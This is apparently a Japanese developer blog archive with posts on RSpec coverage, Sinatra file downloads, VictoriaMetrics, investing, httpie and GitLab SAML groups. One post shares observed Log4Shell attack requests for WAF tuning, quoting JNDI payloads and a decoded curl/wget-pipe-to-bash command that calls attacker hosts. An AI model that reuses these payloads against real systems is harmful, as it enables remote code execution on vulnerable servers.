2021年12月20日月曜日

RSpec でカバレッジを表示する方法 (simplecov)

RSpec でカバレッジを表示する方法 (simplecov)

概要

simplecov を使います
rspec のセットアップはこちらを確認してください

環境

  • macOS 11.6.1
  • Ruby 3.0.3p157
  • simplecov 0.12.3

インストール

  • gem install simplecov

設定

  • vim spec/spec_helper.rb
require 'bundler/setup'
require 'simplecov'

RSpec.configure do |config|
config.example_status_persistence_file_path = ".rspec_status"
  config.disable_monkey_patching!
  config.expect_with :rspec do |c|
    c.syntax = :expect
  end
  SimpleCov.start
end

SimpleCov.start を記載するだけです

.gitignore

  • echo "coverage" >> .gitignore

実行

  • bundle exec rake spec

Tips: vendor ディレクトリを無視する方法

SimpleCov.start do
  add_filter 'vendor'
end

参考サイト

2021年12月18日土曜日

自分のサーバに来ていた log4j の脆弱性をつくようなリクエストの紹介

自分のサーバに来ていた log4j の脆弱性をつくようなリクエストの紹介

概要

log4j の脆弱性を悪用するリクエストが自分のサーバにも来ていたので紹介します

基本は log4j を使っていなければ大丈夫ですが無駄なリクエストを弾くこともできるので WAF などに設定の参考になるかなと思います

環境

  • GCP
  • Ruby
  • Sinatra

パス

web_1    | 167.99.44.32 - - [11/Dec/2021:19:50:33 +0000] "GET /$%7Bjndi:ldap://http443path.kryptoslogic-cve-2021-44228.com/http443path%7D HTTP/1.1" 404 6666 0.0093
web_1    | 45.155.205.233 - - [12/Dec/2021:05:27:12 +0000] "GET /?x=${jndi:ldap://45.155.205.233:12344/Basic/Command/Base64/KGN1cmwgLXMgNDUuMTU1LjIwNS4yMzM6NTg3NC8zNS4yMDguMjA5LjEyMjo0NDN8fHdnZXQgLXEgLU8tIDQ1LjE1NS4yMDUuMjMzOjU4NzQvMzUuMjA4LjIwOS4xMjI6NDQzKXxiYXNo} HTTP/1.1" 200 13119 0.0099
web_1    | 45.83.65.2 - - [13/Dec/2021:03:43:00 +0000] "GET /$%7Bjndi:dns://45.83.64.1/securityscan-https443%7D HTTP/1.1" 404 6666 0.0085
web_1    | 195.54.160.149 - - [17/Dec/2021:02:13:04 +0000] "GET /?x=${jndi:ldap://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8zNS4yMDguMjA5LjEyMjo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMzUuMjA4LjIwOS4xMjI6NDQzKXxiYXNo} HTTP/1.1" 200 13119 0.0096

ちなみに base64 されていた文字列はデコードすると以下のようなシェルになっていました (注意:間違っても実行しないように)

(curl -s 45.155.205.233:5874/35.208.209.122:443||wget -q -O- 45.155.205.233:5874/35.208.209.122:443)|bash

IP はハニーポットの IP っぽいです

ヘッダ

web_1    | I, [2021-12-17T02:13:04.435652 #1]  INFO -- : {"HTTP_VERSION"=>"HTTP/1.1", "HTTP_HOST"=>"35.208.209.122:443", "HTTP_CONNECTION"=>"close", "HTTP_X_REAL_IP"=>"195.54.160.149", "HTTP_X_FORWARDED_FOR"=>"195.54.160.149", "HTTP_X_FORWARDED_PROTO"=>"https", "HTTP_X_FORWARDED_SSL"=>"on", "HTTP_X_FORWARDED_PORT"=>"443", "HTTP_USER_AGENT"=>"${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8zNS4yMDguMjA5LjEyMjo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMzUuMjA4LjIwOS4xMjI6NDQzKXxiYXNo}", "HTTP_REFERER"=>"${jndi:${lower:l}${lower:d}${lower:a}${lower:p}://195.54.160.149:12344/Basic/Command/Base64/KGN1cmwgLXMgMTk1LjU0LjE2MC4xNDk6NTg3NC8zNS4yMDguMjA5LjEyMjo0NDN8fHdnZXQgLXEgLU8tIDE5NS41NC4xNjAuMTQ5OjU4NzQvMzUuMjA4LjIwOS4xMjI6NDQzKXxiYXNo}", "HTTP_ACCEPT_ENCODING"=>"gzip"}

UserAgent, Referer に base64 化されたスクリプトが仕込まれていました

2021年12月17日金曜日

Sinatra でファイルをダウンロード数 API を作る (send_file 編)

Sinatra でファイルをダウンロード数 API を作る (send_file 編)

概要

過去に attachment を使った方法を紹介しました

今回は send_file を使います

環境

  • macOS 11.6.1
  • Ruby 3.0.3p157
  • Sinatra 2.1.0

サンプルコード

  • vim app.rb
require 'sinatra'

class DownloadApp < Sinatra::Base

  get '/send_file/:file_name' do |file_name|
    send_file(file_name, disposition: 'attachment')
  end

  not_found do
    "file not found"
  end
end
require './test'

run DownloadApp
  • touch hoge

起動

動作確認

  • curl -O -v localhost:9292/send_file/hoge
< HTTP/1.1 200 OK
< Content-Type: application/octet-stream
< Content-Disposition: attachment; filename="hoge"
< Last-Modified: Mon, 13 Dec 2021 23:45:05 GMT
< Content-Length: 15
< X-Content-Type-Options: nosniff
< Connection: keep-alive
< Server: thin

Content-Disposition が設定されていることがわかります
また attachment とは違いファイルの情報をそのまま送るため送信データを最後に記載する必要がありません

ファイルの最終更新日 (Last-Modified) もヘッダに設定されます

最後に

attachment はあくまでもヘッダの設定で send_file はヘッダの設定も含めてレスポンスを返してくれるヘルパーメソッドになります

2021年12月16日木曜日

VictoriaMetrics 超入門

VictoriaMetrics 超入門

概要

VictoriaMetrics はサーバなどのメトリックデータを収集し時系列データとして可視化することができる監視ツールです

Prometheus のメトリックデータも収集することができます
今回は VictoriaMetrics を構築し簡単なメトリックの収集までやってみました

環境

  • macOS 11.6.1
  • docker 20.10.11
  • VictoriaMetrics 20211202-133618-tags-v1.70.0-0-g7f2f26b25

node_exporter の起動

テストなので mac 上で起動します

prometheus.yml の準備

VictoriaMetorics は prometheus.yml をそのまま使うことができます

先程準備した node_exporter を scrape 先として設定します

  • mkdir config
  • vim config/prometheus.yml
global:
  scrape_interval:     15s
  evaluation_interval: 15s

scrape_configs:
  - job_name: 'node_exporter_on_mac'
    static_configs:
    - targets: ['192.168.1.2:9100']

VictoriaMetorics の起動

今回は docker で構築します
公式のイメージが dockerhub で公開されているのでそれを使います

  • mkdir data
  • docker run -d -v $(pwd)/data:/victoria-metrics-data -p 8428:8428 victoriametrics/victoria-metrics

これで http://localhost:8428 にアクセスすると管理画面が表示されます
ここで WebUI にアクセスしたり scrape 先の設定できます

http://localhost:8428/targets を確認するとちゃんと先程起動した node_export がターゲットに入っていることが確認できます

オプション確認

各種オプションは以下のコマンドで確認できます

  • docker run --rm victoriametrics/victoria-metrics --help

動作確認

Promethues の API 互換でもあるので API を使います

  • curl 'http://localhost:8428/api/v1/query?query=up'

これで以下の結果が取得できればちゃんとメトリックデータが VictoriaMetrics に格納されていることが確認できます

{"status":"success","data":{"resultType":"vector","result":[{"metric":{"__name__":"up","instance":"192.168.1.2:9100","job":"node_exporter_on_mac"},"value":[1639445877,"1"]}]}}

PromQL も使えます
http://localhost:8428/vmui にアクセスすると VictoriaMetrics 専用の PromQL をコールできる UI が表示されるのでここで PromQL を発行しましょう

up{job="node_exporter_on_mac"}

と入力して実行すると以下のようにメトリックがグラフで確認できるはずです

最後に

今回はシングルノードでしたが VictoriaMetrics はクラスタ構成も組めるので大量のメトリックデータを管理保管することができます

Prometheus 互換でもあるので Prometheus の代替としても使えます
node_exporter などのエクスポータのデータも簡単に取り込めました

参考サイト

2021年12月14日火曜日

投資の教訓

投資の教訓

マイナスなイメージが多いですがちゃんと認識しておくべきことかなと思います

投資はギャンブルである

  • リスクが高いか低いかの違いだけ
  • 現物買い、FX など=リスク高
  • NISA、iDeco などのインデックスファンド=リスク低

投資はメンタルゲーム

  • メンタルが弱い人はデイトレードのほうがオススメ
  • もしくはロングで入って一生持ち続けるくらいの覚悟
  • ポジションを保有するのをストレスに感じる人は長期保有は向かない
  • 仕事や私生活に影響を与えてはいけないので

生活費を投資につぎ込んではいけない

  • 当然だが
  • 50% でも多い、20%-30% 程度
  • NISA なら 50% でもいいかも

投資が合わない人は他のギャンブルを選択する

  • 競馬とか宝くじなど
  • そもそもギャンブルをしないという選択もあり

一生持つのであれば配当株はオススメかも

  • ただそれでも死ぬ場合あり、配当がなくなることもある
  • リスクは高
  • 配当確定 -> 即売りもありだが管理が面倒
  • 長期的に見て評価額よりもインセンティブがあればいいという人はオススメ

損切りするケースしないケース

  • デイトレードであれば損切りして次の日にポジションを持ち越さない
  • 1年以上もしくは一生持つ場合は損切りはなしで放置で OK
  • そのうち上がるかもを待っていればいい
  • 無駄にポジションを気にする必要もなくなる

課税も高い

17% くらいもってかれる
仮想通貨だともっと高いはず

最後に

経験としてやっておくのはあり、政治や経済の動向も知れるので
がやらなくてもいいかなーというのが正直なところ

アプリやサービスを作ったりクリエイティブな活動からお金を生み出すほうがやりがいもあるかも

個人的な感想ですがあくまでもギャンブルであることを忘れないほうがいいかなと

2021年12月13日月曜日

httpie 超入門

httpie 超入門

概要

curl の代替として httpie を使ってみました
レスポンスなどきれいに見せてくれます

環境

  • macOS 11.6.1
  • httpie

インストール

  • brew install httpie

インストールが完了すると http コマンドが使えるようになっています

% http --version
2.6.0

localhost:80 へリクエスト

  • http localhost

json を POST

デフォルトで application/json になっています
ヘッダを指定したい場合はコロンで区切ります

AWS にリクエスト

httpie-aws-authv4 を使うとできます
pip はシステムがデフォルトで使用している pip にインストールしてください

  • pip install --upgrade httpie-aws-authv4

コールする場合は「-f」でフォームとしてリクエストを送信し「-A」で認証タイプを「aws4」にしあとは AWS のエンドポイントを指定します

認証情報は ~/.aws/config にあることを期待しているので配置している状態です
引数でクレデンシャルやプロファイルを直接指定することも可能です

最後に

デフォルト入っている OS はまだなさそうなのでインストールが必要なのが難点ですが curl よりは確かに強力かなと思います

ただ curl でも十分なケースは多いので臨機応変かなと思います

参考サイト

2021年12月10日金曜日

Gitlab の SAML Groups 機能を試してみた

Gitlab の SAML Groups 機能を試してみた

概要

Gitlab の SAML Groups 機能は SAML Idp 側から送信される Groups 情報を元にログインの許可やユーザ属性の自動付与を行うことができます

今回は AzureAD を使って試してみました

環境

  • Gitlab 14.3.4-ee
  • AzureAD (20211126 時点)

Required Groups

Required Groups 機能はリスト内に含まれるグループ情報でなければログインできなくする機能です

gitlab.rb では以下のように設定します

gitlab_rails['omniauth_allow_single_sign_on'] = ['saml']
gitlab_rails['omniauth_block_auto_created_users'] = false
gitlab_rails['omniauth_auto_link_saml_user'] = true
gitlab_rails['omniauth_providers'] = [
  {
    name: "saml",
    label: "AzureAdTest",
    groups_attribute: 'Groups',
    required_groups: ['Developers', 'Freelancers', 'Admins', 'Auditors'],
    args: {
      assertion_consumer_service_url: "https://your.gitlab.example.com/users/auth/saml/callback",
      idp_cert_fingerprint: "xxxx",
      idp_sso_target_url: "https://login.microsoftonline.com/xxxxxx/saml2",
      issuer: "https://your.gitlab.example.com",
      name_identifier_format: "urn:oasis:names:tc:SAML:2.0:nameid-format:persistent"
    }
  }
]

まず groups_attribute で AzureAD 側から送信される「属性とクレーム」のクレーム名を指定します
そして required_groups を使って必須のグループ名を指定します
ここで指定されるグループ名が AzureAD から送信されない場合はログインエラーになります

AzureAD 側のクレーム設定は以下のとおりです
例えば Admins という属性を持っている場合はログインできます
ここで注意してほしいのは例え AzureAD 側で Admins を設定していても Gitlab 側の管理者グループに所属するわけではないという点です

もし管理者グループに自動で登録したい場合は required_groups ではなく admin_groups を使います

これで再度ログインしてみるとちゃんとログインできるのが確認できます
またどのグループにも属していないのが確認できると思います

External Groups

external_groups はリスト内に記載されているグループだった場合に Gitlab の External user フラグを自動的にオンにしてくれる機能です

gitlab.rb は以下のように記載します
先程 required_groups と記載していたところを external_groups に変更します

gitlab_rails['omniauth_allow_single_sign_on'] = ['saml']
gitlab_rails['omniauth_block_auto_created_users'] = false
gitlab_rails['omniauth_auto_link_saml_user'] = true
gitlab_rails['omniauth_providers'] = [
  {
    name: "saml",
    label: "AzureAdTest",
    groups_attribute: 'Groups',
    external_groups: ['Freelancers'],
    args: {
      assertion_consumer_service_url: "https://your.gitlab.example.com/users/auth/saml/callback",
      idp_cert_fingerprint: "xxxx",
      idp_sso_target_url: "https://login.microsoftonline.com/xxxxxx/saml2",
      issuer: "https://your.gitlab.example.com",
      name_identifier_format: "urn:oasis:names:tc:SAML:2.0:nameid-format:persistent"
    }
  }
]

AzureAD 側のクレームは Admins ではなく Freelancers が送信されるようにします

これでログインすると Gitlab の External user フラグが自動でオンになっているの確認できます

External user フラグがオンになっている場合はプロジェクトが作成できなかったり Public なプロジェクトしか見れなくなります

最後に

他には Administrator groups と Auditor groups があります
前者は自動で Gitlab の管理者グループに登録する機能で後者はリードオンリーユーザとして登録する機能になります

それぞれの機能は And 条件として使うことができます
なので必須のグループ名かつこのグループ名は Admin として登録するということが可能です

自動で特定の属性を付与したい場合には便利かもしれません

参考サイト